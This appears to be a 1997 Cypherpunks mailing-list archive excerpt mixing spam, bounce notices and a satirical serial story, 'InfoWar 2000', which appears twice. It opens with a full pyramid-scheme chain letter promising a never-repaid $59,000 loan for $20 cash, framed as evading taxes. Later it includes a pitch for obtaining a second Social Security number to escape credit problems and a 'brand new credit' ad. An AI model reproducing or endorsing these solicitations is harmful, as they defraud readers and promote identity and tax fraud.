to become FINANCIALLY SECURE. And, YOUR lifetime membership fee is so 
LOW, there's no strain on YOUR budget!

PLEASE don't confuse the FINANCIAL FRIENDS NETWORK with any other
money programs that are DOOMED from the start. They make no guarantees, 
they want YOU to do ALL the work and they want YOU to absorb ALL the cost.
They'll even tell you that YOUR SUCCESS depends solely on YOU! As a member 
of the FINANCIAL FRIENDS NETWORK, We do ALL the work and WE absorb all 
the cost. YOU just sit back and collect YOUR LOAN.
WHAT COULD BE EASIER?

MONEY BACK GUARANTEE:

If at any time, you would like to cancel your membership, we will refund you 
your full lifetime membership fee, no questions asked.
NOW YOUR MEMBERSHIP IS RISK FREE!

WE'RE SURE YOU'LL HAVE TO AGREE, THAT THIS IS THE MOST POWERFUL 
OPPORTUNITY OF IT'S KIND, WITH ABSOLUTELY NO RISK!

PLEASE DON'T LET THIS OPPORTUNITY PASS YOU BY. IT WILL PROBABLY 
BE THE BEST THING THAT EVER HAPPENS TO YOU AND YOUR FAMILY!

HAVE YOU EVER GAMBLED AWAY MONEY ON LOTTERY TICKETS?

NOW YOU CAN BE A "WINNER" AND RECEIVE YOUR $59,000, BY BECOMING 
A MEMBER OF THE FINANCIAL FRIENDS NETWORK!

JOIN US NOW!


MEMBERSHIP APPLICATION:

YES, I want to receive my $59,000 too!
I understand that I can cancel my membership at any time.
As a FINANCIAL FRIENDS NETWORK member, all loans are interest
free and I never have to repay the loan. All information
about me will be kept strictly confidential.

NAME____________________________________________________

ADDRESS_________________________________________________

CITY________________________STATE_________ZIP___________

PHONE________________________E-MAIL_____________________
           (optional)                        (optional)

MAKE CASHIERS CHECKS PAYABLE TO:________________________

MEMBERS:
Position 1:         J. Jeffers  ID# 67441
Position 2:         C. Danko    ID# 68377
Position 3:         J. Berga    ID# 70029
Position 4:         M. Lentz    ID# 74893
Position 5:         G. Nunoz    ID# 77906

You may also send in your application by puting the above 
information on a seperate sheet of paper. DON'T FORGET TO 
INCLUDE ALL 5 POSITIONS, WITH NAMES AND ID#'s.

SEND YOUR APPLICATION ALONG WITH $20 CASH,
Sorry, but we ask that all payments be made in cash, 
to eliminate ALL tax liabilities. 
All Checks will be returned.

SEND TO:

FFN
1101 E. Tropicana Ave. STE.# 187
Las Vegas, NV 89119

Please make sure cash does not show through envelope.

NOW, JUST SIT BACK AND RELAX, YOUR LOAN WILL BE ARRIVING SOON!

THANK YOU, and WELCOME TO THE FINANCIAL FRIENDS NETWORK.


 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: PLEASE.READ.ME@05795.com
Date: Tue, 7 Oct 1997 05:10:23 -0700 (PDT)
To: Friend@public.com
Subject: LIONS, TIGERS, & BEARS, OH MY!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


                                  Turpentine Creek Foundation, Inc.
                  Route 1 Box 209A, Eureka Springs, Arkansas 72632
                          Phone: (501) 253-5841 Fax: (501) 253-5059
                                       E-mail:tigers@ozarkweb.com
October, 1997

Dear Friend,

The reason I am writing this letter to ask for your help.  First,  I would like to
introduce myself and give you a brief history of Turpentine Creek Wildlife
Refuge, a non-profit organization.  I will try to briefly describe our accomp-
lishments and our mission for the future.

My name is Hilda Jackson.  I am the Secretary-Treasurer of Turpentine Creek 
Foundation.  By the way, when I say "WE",  I am speaking not only of myself, 
but for all the volunteer staff and our eight member board of directors.  Our 
Board consists of doctors, real estate people, a university professor, a CPA 
and a veterinarian, who have worked hard to accomplish our goals.  Our 
Chairman of the Board is Reverend John P. Minogue, C.M., who is also 
President of De Paul University of Chicago, Illinois.

The Turpentine Creek Foundation was started by me, my husband Don 
Jackson, and my daughter, Tanya Smith, in May of 1992.  Tanya is now  
President of the Foundation.  We purchased a 450-acre ranch in Eureka 
Springs,  Arkansas in the heart of the beautiful Ozark Mountains.  We brought
with us to the ranch two lions, one monkey, one white-tailed deer and one
racoon.  That was the beginning of Turpentine Creek Wildlife Refuge.  Our
goal and desires are to house all unwanted exotic big cats, such as lions,
tigers, and other exotic animals in a safe an happy environment.  To date, 
Turpentine Creek houses over 120 animals and birds.  Out of this 120 animals,
there are 90 + exotic big cats, such as lions. tiger, leopards and cougars.

We know from the experts' predictions that there are no more than 4,000 tigers
left in this world.  Without a shelter like Turpentine Creek, I am afraid that the 
beauty and the strengh of the tigers will not be a part of our children's or 
grandchildren's life except in picture books.  With everyone's help this will not 
happen.

We have continued to grow every year due to the birth of new cubs, and the 
acquisition of additional unwanted, abandoned, or abused exotic animals. We
desperately need to expand our compound, and finish the natural habitat, so the
big cats can live and roam as naturally as they would in the wild.

It takes approximately $1000 per day to house and care for the current number of
animals.  These funds are partly raised by our seasonal tourist revenue.

All construction is strictly funded by donations.  This is where we need
YOUR help.  If you can donate  $1, $5, $10, or whatever you feel in your heart you
can send, it wil be greatly appreciated.  All donations are tax deductible under 
IRS regulations section 501(c)(3).

We would like to thank you in advance for any consideration or help you
can give.  

Please come visit us and see the photo albums (especially the NEW 
ARRIVALS) at:    http://www.ozarkweb.com/tcreek/index.htm


My sincere thanks,

Hilda Jackson

Please send your kind donations to :     Turpentine Creek Wildlife Refuge
                                                             Route 1, Box 209-A
                                                             Eureka Springs, Arkansas  72632    

Credit Card Donations can be made by phone or fax (top of page) or complete
the following information and mail to the above address.

Card type:  ____ Visa  ____ MasterCard  ____ American Express  ____ Discover

Card Member's Name :_____________________________________________

Member's Address:     ______________________________________________

Card Number :            ______________________________________________

Expiration Date:          ______________________________________________

Amount of Contribution :  $ _____________





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: billy@bingo.edu.win.net (AMERICAN IMMIGRATION INFO CENTER)
Date: Tue, 7 Oct 1997 17:36:04 -0700 (PDT)
To: billy@bingo.edu.win.net
Subject: Immigration & Green Cards
Message-ID: <199710074374IAA138@post.win.net>
MIME-Version: 1.0
Content-Type: text/plain


U.S. IMMIGRATION INFORMATION (GREEN CARDS)
This is a one time message. This had to be done because of the urgency. Please forgive us if you are offended.  If you don't respond you will never hear from us again, unless your address appears more than once in our database. Thanks.

IMMIGRATION AGENTS WANTED (See end of document)

GREEN CARD INFORMATION
You don't need this if you are a U.S. citizen or permanent resident. We send you this information so that you can print & pass it to your friends or relatives who may need it.

GREEN CARD LOTTERY (DV-99)
The U.S. Government will be selecting another 100,000 people as winners of the next Green Card lottery (DV-99). The deadline to participate in this lottery is November 24, 1997. If you know of any people who need Green Cards, this could be their only opportunity. If they don't already have the instructions and regulations from the U.S. government, please tell them to contact the American Immigration Information Center and request for free information. Email to usvisa@aol.com  or  greencard1@consular.com  Or call 202-429-5523. You may also write to American Immigration Information Center, 1825 Eye Street, NW Suite 400, Washington, DC 20006. 

VOLUNTEERS WANTED IMMEDIATELY
Because of the recent changes in the immigration laws affecting millions of people living in the U.S., AIIC is currently recruiting as many volunteers as possible to help distribute immigration information to communities, schools, colleges, universities, churches, businesses, organizations, embassies, consulates, mosques, etc. If you are interested to become a volunteer please email to usvisa@aol.com or call 202-429-5523. Thank you.

SOME OTHER EASY WAYS TO GET A GREEN CARD.
If you know of anybody who may qualify for any of the following categories of Green Cards, please kindly relay the following announcements to that person:

GREEN CARDS THROUGH THE NATIONAL INTEREST
If you are a professional or researcher, or if you have a graduate degree and you intend to practice your profession or do research in the U.S. you may be able to qualify for a Green Card. You do not need an employer to file for you. You do not need Labor Certification. You can obtain your approval within 60 days, depending on where in the U.S. you will be practicing or doing research. For more information Contact the American Immigration Information Center and ask for Publication  I-400. Email to usvisa@aol.com or greencard1@consular.com  Phone:202-429-5523 Address: 1825 Eye Street, NW Suite 400, Washington, DC 20006 

GREEN CARDS FOR MULTINATIONAL EXECUTIVES & MANAGERS
If you are employed as an executive or manager by a qualified company outside the U.S. for at least one out of the past three years, and you are going to take a similar position with a branch, affiliate or subsidiary of the same company in the U.S., you may qualify for a green card as a priority worker. If you currently hold an L-1 visa you may also qualify for a Green Card under this category. For more information please email to: usvisa@aol.com  or greencard1@consular.com. Phone: 202-429-5523.
 Fax: 301-587-9776 Ask for publication I-450.

GREEN CARDS FOR OUTSTANDING PROFESSORS & RESEARCHERS
If you are a professor or researcher with an international reputation for being outstanding in a particular academic field, and you have been offered a teaching or research position at a university in the U.S., or a research position in a company or research organization in the U.S., you may qualify for a Green Card as a priority worker. For more information email to usvisa@aol.com or greencard1@consular.com and order Publication I-420.  

GREEN CARDS FOR RELIGIOUS WORKERS 
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Invest at least $500,000 in the U.S. and get a Green Card. For details on how to get a Green Card through investments, contact the American Immigration Information Center and order publication I-600.  Email: greencard1@consular.com or usvisa@aol.com   Phone: 202-429-5523. Address: 1825 Eye Street, NW Suite 400, Washington, DC 20006  USA.

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Do you have a U.S. employer but you don't know how to approach him to sponsor you for a Green Card? Are you afraid that your employer will fire you if he knows about your immigration situation?
The American Immigration Information Center (AIIC) has a special way to approch your employer and influence him to sponsor you for a Green Card without putting your job at a risk. If you have a situation like this contact AIIC at usvisa@aol.com or greencard1@consular.com or 202-429-5523 or 301-587-9165.

IS YOUR IMMIGRATION CASE TAKING TOO LONG & YOUR LAWYER IS DOING NOTHING ABOUT IT? Let the American Immigration Information Center help you find and solve the problem. They may be able to push your case through. Email to usvisa@aol.com or greencard1@consular.com and ask for help.

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FREE IMMIGRATION CONSULTATION
Do you need help or have questions in any area of immigration? Call the American Immigration Information Center today for a Free Consultation session. Phone 202-429-5523. email usvisa@aol.com

E




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: progress@tnlb.com
Date: Tue, 7 Oct 1997 07:47:45 -0700 (PDT)
To: progress@tnlb.com
Subject: COOL TOOLS for internet developers
Message-ID: <199710071446.HAA11980@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: biz@t-1net.com
Date: Wed, 8 Oct 1997 02:50:08 -0700 (PDT)
To: biz@t-1net.com
Subject: Hair loss? Check this out!
Message-ID: <199710080839.DAA14294@quick.t-1net.com>
MIME-Version: 1.0
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
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Date: Tue, 7 Oct 1997 19:58:04 -0700 (PDT)
To: lindadavis11@hotmail.com
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: belle@sparksintl.com (Sparks International)
Date: Wed, 8 Oct 1997 01:51:49 -0700 (PDT)
To: belle@sparksintl.com
Subject: First time advertised in US...!
Message-ID: <199710082087QAA5715@19970000RAA@aa.99.net.uu.net>
MIME-Version: 1.0
Content-Type: text/plain


First time advertised in US...!

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Removals to  mailto:remove@sparksintl.com
#




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ALESSI10084@mgnet.com
Date: Wed, 8 Oct 1997 13:42:33 -0700 (PDT)
To: Friend@public.com
Subject: USERS RIPPED OFF BILLIONS
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


WARNING: Internet, Fax & Phone Users Ripped Off Billions!

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Call toll-free, anytime 24 hours a day 1-888-248-6358








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mail Delivery Subsystem <MAILER-DAEMON@wombat.sk.sympatico.ca>
Date: Wed, 8 Oct 1997 17:13:29 -0700 (PDT)
To: <cypherpunks@toad.com>
Subject: Returned mail: Host unknown (Name server: fatmans.demon.co.uk: no data known)
Message-ID: <199710090008.SAA11007@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain

The original message was received at Wed, 8 Oct 1997 18:00:38 -0600 (CST)
from orenco23.sk.sympatico.ca [142.165.99.23]

   ----- The following addresses have delivery notifications -----
<paul@fatmans.demon.co.uk>  (unrecoverable error)

   ----- Transcript of session follows -----
<tcmay@got.net>... Deferred: Connection timed out during initial connection with mail.got.net.
<sunder@brainlink.com>... Deferred: Connection refused by mh.brainlink.com.
550 <paul@fatmans.demon.co.uk>... Host unknown (Name server: fatmans.demon.co.uk: no data known)
<toto@sk.sympatico.ca>... Deferred: Connection refused by orion.sk.sympatico.ca.


Reporting-MTA: dns; wombat.sk.sympatico.ca
Received-From-MTA: DNS; orenco23.sk.sympatico.ca
Arrival-Date: Wed, 8 Oct 1997 18:00:38 -0600 (CST)

Final-Recipient: RFC822; paul@fatmans.demon.co.uk
Action: failed
Status: 5.1.2
Remote-MTA: DNS; fatmans.demon.co.uk
Last-Attempt-Date: Wed, 8 Oct 1997 18:07:10 -0600 (CST)


To: cypherpunks@toad.com
Subject: InfoWar 2000 / AOL Format
From: The Last True CypherPunk <cypherpunks@toad.com>
Date: Wed, 08 Oct 1997 18:04:15 -0600
Organization: "It's a Multi-User Persona whose homepage is a Mirror site."
Reply-To: cypherpunks@toad.com
Title: The True Story of the Internet Part II








The True Story of the InterNet

Part III


InfoWar
2000

Final Frontier of the Digital Revolution

Behind the ElectroMagnetic
Curtain


by TruthMonger <tm@dev.null>




Copyright 1997 Pearl Publishing



InfoWar Table of Contents

InfoWar 2000 


InfoWar 2000


"InfoWar is back!" Jonathan cried out, waking
the other members of the Magic Circle instantly. They quickly
rose and gathered around the GraphiScreen hovering over the old
oak table.

Subject: Re: [Pigdog] ViaCrypt slowly executes Timmy
C. May
From: Flesh <flesh@pigdog.org>
To: pigdog-l@arlington.com, cypherpunks@toad.com

Does the fireBot work well with the throwemupagainstthewallandaimfortheheadBot?



Cowboy recognized the significance immediately. "A thousand
Points of Presence."

"UUNET...WorldCom?" Alexis asked, surprised.

Jonathan nodded, adding, "And they're moving faster and
quieter than they did in history as we have known it, up to now."

He began reading off the list he had compiled in just a short
time, "Fiber, Digital Microwave, Satellite, Undersea Fiber
Cable. Financial markets, telecommunications, construction, health
care, and politics.
"They seem to be putting all of the 'usual suspects' under
one flag, around the globe."


A Player To Be Named Later scanned the series of posts, for the
thousandth time. 
"It's dejavu, all over again." he said, quoting
a Yogi Berra malapropism.

The feeling had been growing on him...
The feeling that somehow, everything was the same as before...only
different.

"The Lake of Life has started to
turn over. The bottom is rising to the top, the top is descending
to the bottom, and everything is becoming the opposite of what
it seems to be."

A Player To Be Named Later sat quietly, contemplating what it
was that had changed, only somehow not changed, since the last
time the lake had turned over on the CypherPunks mailing list.

He thought about "WebWorld & the Mythical Circle of Eunuchs."
He began to see the parallel between the history of the creation
of WebWorld and the creation of the CypherPunks distributed list.

There was the subterfuge which had preceded both the Channel Revolution
which foreshadowed WebWorld and the Censorship Crisis which had
presaged the CypherPunks distributed mailing list.
There were the climaxes that precipitated the structural changes
in both cases, the satellite destruction in the one case, and
the loss of toad.com as host to the mailing list in the other
case. There were the parallels with outside attacks ceasing on
both the CypherPunks distributed mailing lists and the variety
of Channels on WebWorld, in an attempt to let the citizens/members
bond with their new channels/lists.
One parallel-or two, depending on how you looked at it-in particular,
which stood out in the mind of A Player To Be Named Later.

There were three CypherPunks distributed lists-at algebra.com,
ssz.com, and at cyberpass.net.
Likewise, there was a reference to the Money Channel Government
in WebWorld having three channels under its control.
Then, there was the strange, strange saga of three religious channels-the
God Channel, the Dualist Channel, and the Trinity Channel-which
had somehow merged, yet not merged, creating a problem which had
left the 'powers that be' very, very nervous.

"What the hell happened to Channel War I?" A
Player To Be Named Later, asked himself, suddenly recognizing
a glaring disparity between the parallels he was drawing between
the history of WebWorld and the history of the CypherPunks list.

"And what the hell happened to InfoWar?" he asked,
turning to Baby, who stood up and barked her agreement that there
was definitely something fishy going on that involved the two
shadow wars that had somehow been misplaced in the annals of history-one
in the future, and one in the past.

In 'WebWorld', both the reference to the three Money Channel Governments
and reference to the three spiritual channels which became one,
yet didn't, revolved around the close of Channel War I. But there
didn't seem to be a parallel to Channel War I in the Time-Line
of the CypherPunks list.
Likewise, 'WebWorld' began with a reference to an 'InfoWar Scrambler
Mechanism' which seemed to indicate that 'InfoWar' would play
a major part in the history of 'WebWorld & the Mythical Circle
of Eunuchs.' Yet there were only a few later references in Part
II of The True Story of the InterNet in regard to "the beginning
stages of InfoWar," with no further details.

A Player To Be Named Later strained to touch the wispy haze of
memory which was rising somewhere in the back of his mind-a memory
which whispered "InfoWar" from somewhere deep
in the heart of the CypherPunks mailing list censorship crisis.

"Toto!" he said, suddenly feeling a ferocious
stinging sensation behind his right ear, which resulted in a loss
of balance as he fell to the floor, and a loss of consciousness
as the blackness closed in around him...


The tattered remnants of the Magic Circle of the future sat quietly
around the antique oak table, anxious and depressed.

"Why is the Trei Transponder receiving interference from
Toto's digital implant?" Priscilla asked the group. "All
of my monitoring tests show that the last adjustments we made
to the Zooko Zamboni were up to Journeyman standards."

"Perhaps it is a result of the differences in the winter
climates between the Netherlands and Canada." Jonathan
said.
"It seems to me that the effects of Global Warming were
just beginning to have undeniably noticeable effects in that particular
 epoch."

The Cowboy got up and paced a bit, as the others realized he was
working up the courage to say what they were all thinking.
"Or.." he hesitated, then turned to face the
others and continued, "perhaps the rebirth of InfoWar
reflects that our efforts toward changing the past have not only
been successful, but are now irrevocable."


Jonathan pulled up a passage of 'WebWorld' onto the GraphiScreen,
contemplating what he had originally perceived as the failure
of InfoWar during the hotly contested battle which took place
on the CypherPunks list during the censorship crisis.

"January 19, 1997.
"The beginning date of the 'moderation experiment' on the
legendary CypherPunks mailing list. The beginning probe in preparation
for the launching of InfoWar-an experiment which had failed miserably
and had caused a delay in the plans of the Evil One. A delay caused
by the damnable insolence of the terminal misfits among the CypherPunks.
An insolence that was rumored to be fueled by the Circle of Eunuchs,
fanning the 'flames' of dissent among the CypherPunks, helping
them to resist the herding of their list members into the group-mindset
desired by the Evil One."


The other members of the Circle of Eunuchs sat still in their
seats, not wanting to disturb the deep thoughts of Jonathan, who
was indeed the Last True CypherPunk, having grown up at their
feet, immersed in their logic and their lore, and whose whole
life had been ruled by his connection to the infamous anarchists
who had been, alternately, both the shining light of freedom and
privacy in their era, and the treacherous instigators of Channel
War II-the war which had led to the ultimate triumph of the Gomez
and the Dark Allies and the conclusive ascent of the Dark Forces
in their domination of WebWorld under the dictum of the Evil One.

The room was quiet as Jonathan reluctantly pulled up the next
passage of 'WebWorld' which had described his feelings when his
bereft past had come back to haunt him.

"Jonathan sat frozen in his seat, once again, his brain
locked from the major dichotomies being produced as a result of
his present-in which the CypherPunks were a villainous band of
rogues who had instigated the launching of Channel War II-and
his past, in which his grandfather had been exposed both as one
of the major players in both the launching of Channel War II,
and as traitorous scum who had sabotaged the goals of the CypherPunks
in that same historical battle.
"Jonathan's grandfather wasn't just a CypherPunk. He was
the Fool."


"We won..." Jonathan's voice trailed off,
before he rose from the table and repeated his statement, in anger.

"We won, damn it!
"I know we won. Grandfather knew we won the censorship
battle. Everyone knew that we won the censorship
battle. History itself knows that we won...we..."

Jonathan stopped short, turning to stare at the others, who were
staring back.

"Jonathan..." Bubba said softly. "History
has changed."

"I know that, damn it!" Jonathan resumed
his pacing, knowing that he was missing something very, very important,
but he couldn't for the life of him think what it might possibly
be.

The others in the room watched and waited, knowing that it was
Jonathan, and Jonathan alone, whose heritage was intricately and
irrevocably linked to the era in history which they had, for better
or worse, interfered in through their use of the Trei Transponder.

"Grandfather was a traitor to the CypherPunks...a traitor
to freedom and privacy. He sabotaged everything that the CypherPunks
had fought so hard to defend, since the inception of their anarchist,
cryptography mailing list.
  "But the CypherPunks loved us..."

Jonathan was lost in memories of a childhood in which he and his
family had been forced to remain in constant motion, staying a
half-step ahead of the Dark Allies, who had been hunting down
the last remaining members of the CypherPunks-with a vengeance.

His family had been soundly welcomed by the remaining CypherPunks,
in their flight to freedom after his Grandfather's assassination.
They had given the family food, clothing, shelter, and warned
them when the Dark Allies were closing in, and it was once again
time to flee. Duncan Frissell had even...
Perhaps they all had...

Jonathan sank to the floor, slowly, with Alexis leaping up and
catching him softly. Cowboy helped her guide him toward the table
and lower him into a chair.
Jonathan slowly pulled off his shirt and stared at his tattoo...the
Mark of the Toad.

"Duncan Frissell arrived at our last safe house, in the
middle of the night." Jonathan spoke, finally understanding
the real story behind his family's flight into obscurity.
"He warned us to flee, but it was too late...the Dark
Allies were close at hand."

Jonathan's voice was full of amazement as he recounted an event
which he had long known, but had never managed to fully understand.

"Duncan held the Dark Allies at bay, while we made our
escape. I can still hear his screams..." Jonathan
shuddered, then began shaking terribly. Alexis closed her arms
around him, hugging him lightly.

"Your Grandfather knew that the CypherPunks had
lost the battle." Bubba picked up the thread.
The other members of the Magic Circle looked on, mystified as
to this strange turn of events which turned the whole history
of the CypherPunks and the Circle of Eunuchs on hits head.

"It wasn't a censorship battle." the Cowboy said,
amazed as much by what he was saying as those listening to him
were.
"It was InfoWar!"

"That's what happened to InfoWar." Alexis
cried out, in disbelief of her own words. "It was over
before it had begun."

Bubba d'Shauneaux IV rose to his feet, and filled in the details
of the battle as could only be done by one who had spent a lifetime
of subterfuge playing a role which was the exact opposite of what
it had seemed to be from surface appearances.

"It was the first battle fought solely within the bounds
of Virtual Reality."

"It represented the true nadir point in history when the
battle between the Forces of Light and the Forces of Darkness
moved beyond the physical plane and into the minds of mankind."

"InfoWar!" he roared, the word
reverberated throughout the room, sending the Trei Transponder
into a soft hum which grew louder and louder, with a pitch that
went lower and lower until it became subsonic, unheard, but shaking
the room...the earth...even WebWorld itself...

The Trei Transponder exploded with a mighty boom, shaking the
room so violently that the tattered remnants of the Magic Circle
were thrown from their chairs,  and found themselves rising to
see only ruins around them, where their safe house had once been.
They immediately realized that they must flee at once, as those
investigating the explosion would undoubtedly be the Dark Allies,
fully aware that the event had rent WebWorld at the seams.

Jonathan paused, weapon in hand, covering the retreat of d'Shauneaux,
who had remained behind to remove the last traces of evidence
that the Circle of Eunuchs had ever truly been there.
As d'Shauneaux joined him, motioning for him to proceed, he took
one last look at the shattered remains of the Trei Transponder.
All contact with the CypherPunks of the past was now gone, with
little hope of it being renewed.

Silently, he sent a message to the CypherPunks of his youth-from
the bottom of his soul and into the inestimable profundity of
the Tao. It was a message that would be understood by those who
had been at Woodstock-a physical gathering of a Magic Circle which
had come into physical being through a random blessing of Time
and Chance.

"You're on you own, folks...because we're sure on ours."


Those who fail to learn from the future, are doomed
to repeat it.


"The Xenix Chainsaw Massacre"

"WebWorld & the Mythical Circle of Eunuchs"

"InfoWar (Part III of 'The True Story of the InterNet')

Soviet Union Sickle of Eunuchs Secret WebSite








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 19417970@aol.com
Date: Wed, 8 Oct 1997 23:30:11 -0700 (PDT)
To: user@aol.com
Subject: Credit Problems?  Get a Second SS#!!!!!!!
Message-ID: <199709240243.BAA12837@instaemail2all.net>
MIME-Version: 1.0
Content-Type: text/plain


*************************************************************************************************
This is a one time message, please forgive me if you are offended by receiving this---you will automatically be removed if you do not order.  thank you
*************************************************************************************************


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Newfile@man.net
Date: Thu, 9 Oct 1997 01:53:05 -0700 (PDT)
To: senipetros@pop-al.rnp.br
Subject: Secret Information
Message-ID: <199710090800.DAA11172@ns1.man.net>
MIME-Version: 1.0
Content-Type: text/plain


     
     To be removed from future mailings, please e-mail us at:
     alphadat@gosnet.com with REMOVE typed in the subject header.
 *><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*

Secret Information


Hello

Do you like secret information? If you do, then look at
this ** http://www.infoacess.com/users/alphadata **

You will find valuable information regarding your legal 
right to brand new credit.

Think about it...would you like to have brand new credit?

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Our program is fast, effective, easy and it's also a very
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Thank You



















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mail Delivery Subsystem <MAILER-DAEMON@voland.freenet.bishkek.su>
Date: Wed, 8 Oct 1997 17:14:04 -0700 (PDT)
To: <cypherpunks@toad.com>
Subject: Returned mail: User unknown
Message-ID: <199710090134.GAA05373@voland.freenet.bishkek.su>
MIME-Version: 1.0
Content-Type: text/plain

The original message was received at Thu, 9 Oct 1997 06:34:24 +0500
from mail-relay.EU.net [134.222.91.10]

   ----- The following addresses had permanent fatal errors -----
<fygrave@freenet.bishkek.su>

   ----- Transcript of session follows -----
... while talking to freenet.bishkek.su.:
>>> RCPT To:<fygrave@freenet.bishkek.su>
<<< 550 <fygrave@freenet.bishkek.su>... User unknown
550 <fygrave@freenet.bishkek.su>... User unknown


Reporting-MTA: dns; voland.freenet.bishkek.su
Received-From-MTA: dns; mail-relay.EU.net
Arrival-Date: Thu, 9 Oct 1997 06:34:24 +0500

Final-Recipient: rfc822; fygrave@freenet.bishkek.su
Action: failed
Status: 5.1.1
Remote-MTA: dns; freenet.bishkek.su
Diagnostic-Code: smtp; 550 <fygrave@freenet.bishkek.su>... User unknown
Last-Attempt-Date: Thu, 9 Oct 1997 06:34:53 +0500


To: cypherpunks@toad.com
Subject: InfoWar 2000 / AOL Format
From: The Last True CypherPunk <cypherpunks@toad.com>
Date: Wed, 08 Oct 1997 18:04:15 -0600
Organization: "It's a Multi-User Persona whose homepage is a Mirror site."
Reply-To: cypherpunks@toad.com
Title: The True Story of the Internet Part II








The True Story of the InterNet

Part III


InfoWar
2000

Final Frontier of the Digital Revolution

Behind the ElectroMagnetic
Curtain


by TruthMonger <tm@dev.null>




Copyright 1997 Pearl Publishing



InfoWar Table of Contents

InfoWar 2000 


InfoWar 2000


"InfoWar is back!" Jonathan cried out, waking
the other members of the Magic Circle instantly. They quickly
rose and gathered around the GraphiScreen hovering over the old
oak table.

Subject: Re: [Pigdog] ViaCrypt slowly executes Timmy
C. May
From: Flesh <flesh@pigdog.org>
To: pigdog-l@arlington.com, cypherpunks@toad.com

Does the fireBot work well with the throwemupagainstthewallandaimfortheheadBot?



Cowboy recognized the significance immediately. "A thousand
Points of Presence."

"UUNET...WorldCom?" Alexis asked, surprised.

Jonathan nodded, adding, "And they're moving faster and
quieter than they did in history as we have known it, up to now."

He began reading off the list he had compiled in just a short
time, "Fiber, Digital Microwave, Satellite, Undersea Fiber
Cable. Financial markets, telecommunications, construction, health
care, and politics.
"They seem to be putting all of the 'usual suspects' under
one flag, around the globe."


A Player To Be Named Later scanned the series of posts, for the
thousandth time. 
"It's dejavu, all over again." he said, quoting
a Yogi Berra malapropism.

The feeling had been growing on him...
The feeling that somehow, everything was the same as before...only
different.

"The Lake of Life has started to
turn over. The bottom is rising to the top, the top is descending
to the bottom, and everything is becoming the opposite of what
it seems to be."

A Player To Be Named Later sat quietly, contemplating what it
was that had changed, only somehow not changed, since the last
time the lake had turned over on the CypherPunks mailing list.

He thought about "WebWorld & the Mythical Circle of Eunuchs."
He began to see the parallel between the history of the creation
of WebWorld and the creation of the CypherPunks distributed list.

There was the subterfuge which had preceded both the Channel Revolution
which foreshadowed WebWorld and the Censorship Crisis which had
presaged the CypherPunks distributed mailing list.
There were the climaxes that precipitated the structural changes
in both cases, the satellite destruction in the one case, and
the loss of toad.com as host to the mailing list in the other
case. There were the parallels with outside attacks ceasing on
both the CypherPunks distributed mailing lists and the variety
of Channels on WebWorld, in an attempt to let the citizens/members
bond with their new channels/lists.
One parallel-or two, depending on how you looked at it-in particular,
which stood out in the mind of A Player To Be Named Later.

There were three CypherPunks distributed lists-at algebra.com,
ssz.com, and at cyberpass.net.
Likewise, there was a reference to the Money Channel Government
in WebWorld having three channels under its control.
Then, there was the strange, strange saga of three religious channels-the
God Channel, the Dualist Channel, and the Trinity Channel-which
had somehow merged, yet not merged, creating a problem which had
left the 'powers that be' very, very nervous.

"What the hell happened to Channel War I?" A
Player To Be Named Later, asked himself, suddenly recognizing
a glaring disparity between the parallels he was drawing between
the history of WebWorld and the history of the CypherPunks list.

"And what the hell happened to InfoWar?" he asked,
turning to Baby, who stood up and barked her agreement that there
was definitely something fishy going on that involved the two
shadow wars that had somehow been misplaced in the annals of history-one
in the future, and one in the past.

In 'WebWorld', both the reference to the three Money Channel Governments
and reference to the three spiritual channels which became one,
yet didn't, revolved around the close of Channel War I. But there
didn't seem to be a parallel to Channel War I in the Time-Line
of the CypherPunks list.
Likewise, 'WebWorld' began with a reference to an 'InfoWar Scrambler
Mechanism' which seemed to indicate that 'InfoWar' would play
a major part in the history of 'WebWorld & the Mythical Circle
of Eunuchs.' Yet there were only a few later references in Part
II of The True Story of the InterNet in regard to "the beginning
stages of InfoWar," with no further details.

A Player To Be Named Later strained to touch the wispy haze of
memory which was rising somewhere in the back of his mind-a memory
which whispered "InfoWar" from somewhere deep
in the heart of the CypherPunks mailing list censorship crisis.

"Toto!" he said, suddenly feeling a ferocious
stinging sensation behind his right ear, which resulted in a loss
of balance as he fell to the floor, and a loss of consciousness
as the blackness closed in around him...


The tattered remnants of the Magic Circle of the future sat quietly
around the antique oak table, anxious and depressed.

"Why is the Trei Transponder receiving interference from
Toto's digital implant?" Priscilla asked the group. "All
of my monitoring tests show that the last adjustments we made
to the Zooko Zamboni were up to Journeyman standards."

"Perhaps it is a result of the differences in the winter
climates between the Netherlands and Canada." Jonathan
said.
"It seems to me that the effects of Global Warming were
just beginning to have undeniably noticeable effects in that particular
 epoch."

The Cowboy got up and paced a bit, as the others realized he was
working up the courage to say what they were all thinking.
"Or.." he hesitated, then turned to face the
others and continued, "perhaps the rebirth of InfoWar
reflects that our efforts toward changing the past have not only
been successful, but are now irrevocable."


Jonathan pulled up a passage of 'WebWorld' onto the GraphiScreen,
contemplating what he had originally perceived as the failure
of InfoWar during the hotly contested battle which took place
on the CypherPunks list during the censorship crisis.

"January 19, 1997.
"The beginning date of the 'moderation experiment' on the
legendary CypherPunks mailing list. The beginning probe in preparation
for the launching of InfoWar-an experiment which had failed miserably
and had caused a delay in the plans of the Evil One. A delay caused
by the damnable insolence of the terminal misfits among the CypherPunks.
An insolence that was rumored to be fueled by the Circle of Eunuchs,
fanning the 'flames' of dissent among the CypherPunks, helping
them to resist the herding of their list members into the group-mindset
desired by the Evil One."


The other members of the Circle of Eunuchs sat still in their
seats, not wanting to disturb the deep thoughts of Jonathan, who
